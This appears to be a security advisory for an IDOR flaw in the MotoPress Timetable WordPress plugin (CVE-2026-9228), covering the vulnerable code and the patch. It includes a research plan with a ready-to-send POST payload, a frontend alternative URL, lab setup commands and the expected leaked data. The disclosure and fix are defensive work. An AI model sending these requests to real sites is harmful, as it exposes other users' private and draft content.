Timetable and Event Schedule by MotoPress <= 2.4.16 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Exposure via action_get_event_data Function
Description
The Timetable and Event Schedule by MotoPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.16 via the action_get_event_data due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to enumerate timeslot IDs and read the full WP_Post object — including post_content, post_excerpt, post_status, and post_author — of draft, pending, and private mp-event posts belonging to other users, along with their associated raw timeslot descriptions.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.4.17
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-9228 (MotoPress Timetable IDOR) ## 1. Vulnerability Summary The **Timetable and Event Schedule by MotoPress** plugin (<= 2.4.16) contains an Insecure Direct Object Reference (IDOR) vulnerability in its custom AJAX routing mechanism. Specifically, the `action_…
Show full research plan
Vulnerability Research Plan: CVE-2026-9228 (MotoPress Timetable IDOR)
1. Vulnerability Summary
The Timetable and Event Schedule by MotoPress plugin (<= 2.4.16) contains an Insecure Direct Object Reference (IDOR) vulnerability in its custom AJAX routing mechanism. Specifically, the action_get_event_data function in the Controller_Events class fails to perform any ownership or capability checks on the requested timeslot ID beyond a general edit_posts capability check.
This allows any authenticated user with at least Contributor level access to enumerate timeslot IDs and retrieve sensitive details of mp-event posts belonging to other users, including those with draft, pending, or private statuses. The exposed data includes the full WP_Post object and raw timeslot descriptions.
2. Attack Vector Analysis
- Endpoint: Any WordPress request that triggers the
inithook (typicallyPOST /wp-admin/admin-ajax.php). - Custom Router: The plugin uses a custom router defined in
Core::wp_ajax_route_url(found inclasses/class-core.php), which is hooked toinit. - Required Parameters:
controller:eventsmptt_action:get_event_dataid: The integer ID of a timeslot (stored in the custom{wp_prefix}_mp_timetable_datatable).
- Authentication: Authenticated (Contributor+).
- Vulnerable Function:
mp_timetable\classes\controllers\Controller_Events::action_get_event_data.
3. Code Flow
- Entry Point: The request hits
admin-ajax.php. - Hook Execution: During
init,mp_timetable\plugin_core\classes\Core::wp_ajax_route_url()is executed. - Authorization Check:
wp_ajax_route_urlchecksif ( ! empty( $action ) && current_user_can('edit_posts') ). The Contributor role possesses theedit_postscapability. - Routing:
Preprocessor::get_instance()->call_controller( $action, $controller )is called with$action = 'get_event_data'and$controller = 'events'. - Vulnerable Method:
Controller_Events::action_get_event_data()is invoked.- It retrieves the ID via
filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT). - It calls
$this->get('events')->get_event_data(...)with the third parameter$show_public_onlyset tofalse. - Sink:
wp_send_json_success($result[0])returns the full object to the attacker without verifying if the attacker should have access to the underlyingmp-eventpost associated with that timeslot.
- It retrieves the ID via
4. Nonce Acquisition Strategy
Analysis of classes/controllers/class-controller-events.php reveals that action_get_event_data does not implement a nonce check.
- Compare
action_get_event_datatoaction_deleteoraction_update_event_datain the same file; the latter two explicitly callcheck_ajax_referer. - Because
action_get_event_datalacks this check, no nonce is required for exploitation. Only a valid Contributor-level session cookie is needed.
5. Exploitation Strategy
Step 1: Authentication
Log in as a user with the Contributor role to obtain a session cookie.
Step 2: ID Enumeration/Targeting
Identify a timeslot ID. In a real-world scenario, these are sequential integers. For the PoC, we will target a timeslot created by the Administrator for a private event.
Step 3: Malicious Request
Send a POST request to the custom router.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
controller=events&mptt_action=get_event_data&id=[TARGET_TIMESLOT_ID]
Payload Example:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Contributor_Cookies]
controller=events&mptt_action=get_event_data&id=1
6. Test Data Setup
To demonstrate the leak of sensitive information, the following must be set up via WP-CLI:
- Target User: Ensure an Administrator user exists.
- Attacker User: Create a user with the
contributorrole. - Sensitive Post:
- As Administrator, create an
mp-eventpost withpost_status='private'. - Set a sensitive string in the
post_content(e.g., "INTERNAL_SECRET_PROJECT_KRAKEN").
- As Administrator, create an
- Target Timeslot:
- As Administrator, create an
mp-columnpost (required for timeslots). - Insert a record into the
{wp_prefix}_mp_timetable_datatable associated with the privatemp-eventand themp-column. - Record the
idof this new row.
- As Administrator, create an
WP-CLI commands for setup:
# Create Contributor
wp user create attacker attacker@example.com --role=contributor --user_pass=password
# Create Column
COLUMN_ID=$(wp post create --post_type=mp-column --post_title="Monday" --post_status=publish --porcelain)
# Create Private Event
EVENT_ID=$(wp post create --post_type=mp-event --post_title="Secret Strategy" --post_content="INTERNAL_SECRET_PROJECT_KRAKEN" --post_status=private --porcelain)
# Manually insert timeslot via SQL (Plugin uses custom table)
TABLE_NAME=$(wp db prefix)mp_timetable_data
wp db query "INSERT INTO $TABLE_NAME (event_id, column_id, event_start, event_end, description) VALUES ($EVENT_ID, $COLUMN_ID, '10:00', '11:00', 'Confidential Meeting')"
# Get the ID of the inserted timeslot
TIMESLOT_ID=$(wp db query "SELECT id FROM $TABLE_NAME WHERE event_id=$EVENT_ID" --silent --skip-column-names)
7. Expected Results
A successful exploit will return a JSON object (wp_send_json_success) containing:
- The
post_contentof the private event ("INTERNAL_SECRET_PROJECT_KRAKEN"). - The
post_status("private"). - The
descriptionof the timeslot ("Confidential Meeting"). - The
post_authorID.
The response should look like:
{
"success": true,
"data": {
"id": "1",
"event_id": "123",
"post_title": "Secret Strategy",
"post_content": "INTERNAL_SECRET_PROJECT_KRAKEN",
"post_status": "private",
"description": "Confidential Meeting",
...
}
}
8. Verification Steps
- Analyze Response: Verify that the
post_contentin the HTTP response matches the secret string assigned to the private event. - Check Access Level: Verify using
wp user get attackerthat the user only hascontributorpermissions. - Check Visibility: Use
wp post get [EVENT_ID] --user=attackerto confirm that the Contributor normally cannot see this private post via standard WordPress APIs/CLI. If the AJAX request sees it but the CLI (as attacker) doesn't, the bypass is confirmed.
9. Alternative Approaches
If the mptt_action routing is restricted via admin-ajax.php in some environments, the same parameters can be sent to the WordPress home page (index.php), as the init hook runs on every request.
- Alternative URL:
http://localhost:8080/?controller=events&mptt_action=get_event_data&id=[ID] - Since
Core::wp_ajax_route_urldoes not strictly checkDOING_AJAXbefore processing (it only uses it to decide whether to callwp_die()ordie()), the vulnerability is reachable on both frontend and backend entry points.
Summary
The Timetable and Event Schedule by MotoPress plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the `action_get_event_data` function in versions up to and including 2.4.16. Due to insufficient authorization checks and missing nonce validation, authenticated attackers with Contributor-level access or higher can retrieve sensitive details—including post content and status of private, draft, or pending events—by enumerating timeslot IDs.
Vulnerable Code
// classes/controllers/class-controller-events.php:62 /** * Get single event data */ public function action_get_event_data() { if ( current_user_can('edit_posts') ) { $id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT); $result = $this->get('events')->get_event_data(array('field' => 'id', 'id' => $id), 'event_start', false); if (!empty($result)) { wp_send_json_success($result[ 0 ]); } else { wp_send_json_error(array('status' => false)); } } else { wp_die( sprintf( 'Access denied, %s, %s', __FUNCTION__, basename( __FILE__ ) ) ); } }
Security Fix
@@ -563,6 +563,7 @@ 'MPTT', array( 'table_class' => apply_filters( 'mptt_shortcode_static_table_class', 'mptt-shortcode-table' ), + 'timeslot_read_nonce' => wp_create_nonce( 'timeslot_read_nonce' ), 'timeslot_delete_nonce' => wp_create_nonce( 'timeslot_delete_nonce' ), 'timeslot_update_nonce' => wp_create_nonce( 'timeslot_update_nonce' ), ) @@ -148,8 +148,15 @@ Core::get_instance()->register_all_post_type(); // Register taxonomy all Core::get_instance()->register_all_taxonomies(); - // route url - Core::get_instance()->wp_ajax_route_url(); + + if ( + is_admin() && + isset( $_POST['controller'], $_POST['mptt_action'] ) && + 'import' === sanitize_key( wp_unslash( $_POST['controller'] ) ) && + 'export' === sanitize_key( wp_unslash( $_POST['mptt_action'] ) ) + ) { + Core::get_instance()->wp_ajax_route_url(); + } if ( Settings::get_instance()->is_plugin_template_mode() ) { // plugin mode @@ -61,9 +61,19 @@ */ public function action_get_event_data() { - if ( current_user_can('edit_posts') ) { + check_ajax_referer( 'timeslot_read_nonce', 'nonce' ); + + $id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT); + + $event_id = 0; + $timeslot = $this->get('events')->get_timeslot_by_id( $id ); + + if ( $timeslot ) { + $event_id = (int) $timeslot->event_id; + } + + if ( $event_id && current_user_can( 'edit_post', $event_id ) ) { - $id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT); $result = $this->get('events')->get_event_data(array('field' => 'id', 'id' => $id), 'event_start', false); if (!empty($result)) { @@ -185,7 +185,8 @@ Registry._get("adminFunctions").wpAjax({ controller: "events", action: "get_event_data", - id: id + id: id, + nonce: MPTT.timeslot_read_nonce, }, function(data) { var $addMpEvent = $('#add_mp_event');
Exploit Outline
1. Authenticate to the WordPress site with a user account possessing at least the 'Contributor' role (or any role with the `edit_posts` capability). 2. Send a POST request to `/wp-admin/admin-ajax.php` (or any URL that triggers the `init` hook, as the plugin router is hooked there). 3. Set the POST body to include `controller=events`, `mptt_action=get_event_data`, and `id=[TARGET_ID]`, where `[TARGET_ID]` is the integer ID of a timeslot record. 4. Vulnerable versions do not require a nonce for this specific action. The server will respond with a JSON object containing the full `WP_Post` data for the event associated with the timeslot, regardless of its post status (private, draft, or pending).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.